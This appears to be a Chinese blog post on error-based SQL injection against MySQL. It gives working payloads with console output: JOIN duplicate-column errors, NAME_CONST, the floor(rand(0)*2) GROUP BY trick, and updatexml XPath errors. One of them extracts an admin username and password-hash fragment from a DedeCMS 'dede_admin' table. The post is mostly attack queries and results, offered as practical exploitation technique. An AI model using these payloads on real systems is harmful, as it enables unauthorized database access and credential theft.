MySQL注入中报错的利用

 

 

在很多的情况 下我们不能直接方便的进行注入,于是有了BENCHMARK延迟注射,如果能得到MySQL的错误信息的话,现在又有了更方便的方法。

网上流传了两三种方法,以前我在BLOG也记录了其中一种:

//利用MySQL出错爆出字段
mysql> SELECT * FROM (SELECT * FROM user A JOIN user B) C;
ERROR 1060 (42S21): Duplicate column name 'Host'
mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host)) C;
ERROR 1060 (42S21): Duplicate column name 'User'
mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host,User)) C;
ERROR 1060 (42S21): Duplicate column name 'Password'
.....

//得到信息


//可能是版本问题,我测试没能成功

mysql> SELECT NAME_CONST((SELECT Host FROM user LIMIT 0,1),0);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

好像是NAME_CONST的参数必须为CONST还是怎么了,悲剧。
下次再好好测试一下。


Update:确实是版本的问题(高版本要求参数全为const,否则报错),这方法的通用性看来不是很好。

mysql> SELECT version();
+---------------------+
| version()           |
+---------------------+
| 5.0.27-community-nt |
+---------------------+
1 row in set (0.00 sec)

mysql> SELECT NAME_CONST((SELECT user()),0);
+----------------+
| root@localhost |
+----------------+
|              0 |
+----------------+
1 row in set (0.00 sec)

-------------------------------------
mysql> SELECT version();
+------------------+
| version()        |
+------------------+
| 5.1.35-community |
+------------------+
1 row in set (0.00 sec)

mysql> SELECT NAME_CONST((SELECT version()),0);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

 

前段时间在t00ls上看到的另一种:
http://www.t00ls.net/thread-8745-1-4.html《Modoer 1.2.5 注入0day 利用方法

类似这样

mysql> SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT 'x'))a fro
m information_schema.tables group by a)b;
ERROR 1062 (23000): Duplicate entry '1x' for key 'group_key'

这种方法对MySQL版本没什么要求,但只能爆出64字节的数据,用这种方法遇到大数据只能MID慢慢来了。

 

最后一种(只针对MySQL 5.1++)

http://hi.baidu.com/lucidc/blog/item/71d080b031fb3a5908230262.html
http://devteev.blogspot.com/2009/10/advanced-sql-injection-lab-full-pack.html

通过对ExtractValue函数传递不合XPATH语法规则的参数来爆出数据。
ExtractValue、UpdateXML函数参见:http://dev.mysql.com/tech-resources/articles/mysql-5.1-xml.html

利用方法:

mysql> SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a
,MID(pwd,4,16),0x5d) FROM dede_admin),1);
ERROR 1105 (HY000): XPATH syntax error: '[admin:7a57a5a743894a0e]'

比上一种方法方便简洁,不过这方法只能爆出32字节的数据。同样,大数据只能Mid了